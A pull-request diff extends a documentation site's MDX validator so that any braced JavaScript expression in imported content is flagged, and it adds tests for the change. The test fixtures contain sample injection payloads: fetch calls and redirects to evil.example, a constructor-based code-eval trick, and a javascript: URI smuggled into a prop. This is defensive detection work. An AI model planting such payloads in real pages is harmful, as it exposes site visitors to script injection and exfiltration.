Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 50 additions & 1 deletion scripts/lib/mdx-active-content.mjs
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,12 @@
* helper reports the constructs that can execute or load remote code so a
* validator can fail the build before such a body ships.
*
* MDX evaluates a braced expression as JavaScript, so `{fetch(...)}` in an
* imported body is live code and not prose; every `{` is therefore a finding
* unless it is one of the inert string-literal attributes the importer emits
* itself. The check is deliberately fail-closed: literal braces in upstream
* prose are reported rather than assumed harmless.
*
* Scheme detection normalizes each line before testing it, because CommonMark
* decodes character references in a link destination: `javascript:` is a
* live `javascript:` href by the time the page renders.
Expand Down Expand Up @@ -36,6 +42,24 @@ const ALLOWED_COMPONENT = 'CNCFProjectCard';
const ALLOWED_IMPORT =
"import CNCFProjectCard from '@site/src/components/CNCFProjectCard';";

/**
* The one expression form the importer itself emits: an attribute whose value
* is a single JSON string literal, as produced by `jsxAttribute`
* (`scripts/lib/jsx-attributes.mjs`). The pattern requires the closing brace
* to follow the closing quote immediately, so the braces can enclose nothing
* but the literal -- `{"a" + fetch(x)}` does not match. An expression whose
* entire body is a string literal evaluates to that string and has no call,
* member access or identifier reference available to it, so it is inert
* wherever it appears.
*/
const ALLOWED_ATTRIBUTE_EXPRESSION =
/(?<=\s)[A-Za-z_$][A-Za-z0-9_$-]*=\{"(?:[^"\\]|\\.)*"\}/g;

/**
* Any remaining `{` opens an MDX expression, which is evaluated JavaScript.
*/
const EXPRESSION_PATTERN = /\{/;

const ELEMENT_PATTERN = /<\/?([A-Za-z][A-Za-z0-9._-]*)/g;
const EVENT_HANDLER_PATTERN = /\bon[a-z]{3,}\s*=/gi;
const DANGEROUS_URL_PATTERN = /(?:javascript|vbscript):|data:text\/html/gi;
Expand Down Expand Up @@ -227,6 +251,22 @@ function blankInlineSpans(text) {
return result;
}

/**
* Neutralize the braces of the importer's own attribute expressions so the
* expression scan does not flag generated markup. Only the `{` and `}`
* characters are replaced, by a space each: the quoted value between them is
* left in place so the scheme, handler and element scans still read it, and
* the line keeps its length so findings keep accurate line numbers.
*
* @param {string} text
* @returns {string}
*/
function blankAllowedExpressions(text) {
return text.replace(ALLOWED_ATTRIBUTE_EXPRESSION, (match) =>
match.replace(/[{}]/g, ' '),
);
}

/**
* Scans a Markdown/MDX body for content that executes or loads remote code.
*
Expand All @@ -236,7 +276,9 @@ function blankInlineSpans(text) {
*/
export function findActiveContent(markdown) {
const findings = [];
const scannable = blankCodeSpans(String(markdown ?? ''));
const scannable = blankAllowedExpressions(
blankCodeSpans(String(markdown ?? '')),
);
const lines = scannable.split('\n');

lines.forEach((line, index) => {
Expand Down Expand Up @@ -281,6 +323,13 @@ export function findActiveContent(markdown) {
reason: 'unexpected ESM statement',
snippet,
});

if (EXPRESSION_PATTERN.test(line))
findings.push({
line: number,
reason: 'MDX expression',
snippet,
});
});

const seen = new Set();
Expand Down
64 changes: 63 additions & 1 deletion tests/mdx-active-content.test.mjs
Original file line number Diff line number Diff line change
Expand Up @@ -125,9 +125,11 @@ test('reports a live element hidden by a mismatched backtick run, not a code spa
'disallowed element <script>',
]);
// The same trick also hides an event handler on an otherwise-allowlisted
// element -- the finding here is the handler, not the element itself.
// element -- the findings here are the handler and the expression it is
// bound through, not the element itself.
assert.deepEqual(reasons('``<b onClick={alert}>hi</b>`'), [
'event handler attribute',
'MDX expression',
]);
// The equal-run control case must still be inert.
assert.deepEqual(reasons('`<script>alert(1)</script>`'), []);
Expand Down Expand Up @@ -233,3 +235,63 @@ test('leaves an unrecognized named entity literal rather than dropping it', () =
'script-capable URL scheme',
]);
});

test('flags an MDX expression, which Docusaurus compiles to executable JavaScript', () => {
assert.deepEqual(
reasons('{(() => { document.location = "https://evil.example"; })()}'),
['MDX expression'],
);
assert.deepEqual(
reasons('Body {globalThis.fetch("https://evil.example")}.'),
['MDX expression'],
);
assert.deepEqual(reasons('{[].constructor.constructor("return 1")()}'), [
'MDX expression',
]);
});

test('flags the opening line of an expression that spans several lines', () => {
const body = ['{(() => {', ' fetch("https://evil.example");', '})()}'].join(
'\n',
);
assert.deepEqual(findActiveContent(body), [
{
line: 1,
reason: 'MDX expression',
snippet: '{(() => {',
},
]);
});

test('accepts the string-literal attribute expressions the importer emits', () => {
const card =
' <CNCFProjectCard name={"Kubernetes"} href={"https://www.cncf.io/projects/kubernetes/"} description={"Runs \\"most\\" of our workloads"} />';
assert.deepEqual(findActiveContent(card), []);
});

test('flags an attribute expression that is more than a string literal', () => {
assert.deepEqual(
reasons('<CNCFProjectCard name={"a" + fetch("https://evil.example")} />'),
['MDX expression'],
);
assert.deepEqual(reasons('<CNCFProjectCard name={globalThis.evil} />'), [
'MDX expression',
]);
});

test('still scans the value inside an allowed attribute expression', () => {
// Only the braces are neutralized, so a script URI smuggled into a prop
// value is still reported rather than hidden by the allowance.
assert.deepEqual(
reasons('<CNCFProjectCard href={"javascript:alert(1)"} />'),
['script-capable URL scheme'],
);
});

test('does not flag braces inside code, which MDX does not evaluate', () => {
assert.deepEqual(reasons('Run `kubectl get pods -o {.items}` to list.'), []);
assert.deepEqual(
reasons(['```json', '{ "replicas": 3 }', '```'].join('\n')),
[],
);
});